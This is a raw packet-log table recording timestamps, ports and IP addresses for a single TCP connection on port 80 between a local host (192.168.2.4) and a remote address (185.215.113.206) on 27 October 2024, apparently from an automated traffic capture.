Oct 27, 2024 12:13:27.805093050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.805135965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.805150986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.805191040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.805217981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.834187984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.834204912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.834218025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.834323883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.834335089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.834346056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.834356070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.834494114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836244106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836273909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836325884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836332083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836363077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836374044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836399078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836412907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836432934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836443901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836478949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836488008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836503983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836527109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836535931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836559057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836571932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836585999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836606979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836658001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836664915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836708069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836776018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836810112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836821079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836843014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836859941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836877108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836896896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836922884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836927891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836957932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.836971998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.836992025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837007046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837040901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837068081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837074995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837088108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837121010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837126970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837158918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837179899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837193966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837203026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837227106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837239027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837260962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837275028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837308884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837312937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837349892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837363958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837383986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837397099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837421894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837435961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837456942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837470055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837491989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837506056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837526083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837532997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837559938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837570906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837594032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837624073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837657928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837671041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837691069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837702036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837723970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837749004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837759972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837784052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837810040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837851048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837883949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837904930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837918997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837934017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837953091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837966919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.837986946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.837996960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838032007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838038921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838073969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838083982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838107109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838128090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838152885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838159084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838192940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838205099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838228941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838239908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838263035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838279009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838295937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838304043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838330030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838349104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838376999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838385105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838432074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838434935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838470936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838485956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838500023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838517904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838548899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838551998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838586092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838599920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838634014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838639021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838684082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838685036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838718891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838732004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838753939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838762999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838788033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838799953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838823080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.838833094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.838871956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877132893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877194881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877345085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877428055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877480030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877489090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877517939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877542973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877578974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877603054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877635956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877651930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877670050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877697945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877702951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877726078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877737999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877768993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877804041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877818108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877851009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877866983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877883911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877898932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877918005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.877928972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877962112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.877969980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878016949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878190994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878225088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878251076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878257036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878271103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878290892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878302097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878335953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878341913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878375053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878391027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878427982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878428936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878462076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878485918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878495932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878509045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878529072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878576040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878586054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878619909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878653049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878674030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878688097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878715992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878737926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878745079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878772020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878793955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878808022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878822088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878840923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878861904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878875017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878895044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878909111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878923893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878931046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878946066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878953934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878961086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878974915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878979921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.878990889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.878998041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879062891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879075050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879086018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879096031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879106998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879120111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879123926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879134893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879144907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879146099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879157066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879168034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879175901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879196882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879215002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879537106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879548073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879573107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879584074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879595041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879600048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879607916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879618883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879630089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879641056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879643917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879652977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879657030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879664898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879676104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879688025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.879699945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.879726887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880168915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880179882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880189896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880201101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880209923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880211115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880222082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880234003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880239964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880244970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880256891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880266905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880276918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880284071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880286932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880300999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880302906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880326986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880367041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880616903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880629063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880637884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880649090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880660057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.880664110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.880707026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.921505928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.921561003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.921567917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.921591997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.921619892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.921622992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.921632051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.921664000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.922652960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.922713041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.922759056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.922808886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.922821999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.922873974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.923038960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.923089981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.951287031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.951433897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.951478004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.951510906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.951534033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.951546907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.951560020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.951581001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.951597929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.951633930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953378916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953439951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953454971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953489065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953509092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953536987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953537941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953567982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953589916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953613997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953619003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953651905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953669071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953700066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953772068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953804970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953828096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953840971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953867912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953891039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953905106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953937054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953963995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.953970909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.953980923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954020977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954025984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954060078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954077959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954107046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954108953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954158068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954159021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954188108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954210043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954219103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954241037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954252958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.954274893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.954299927 CET	49730	80	192.168.2.4	185.215.113.206
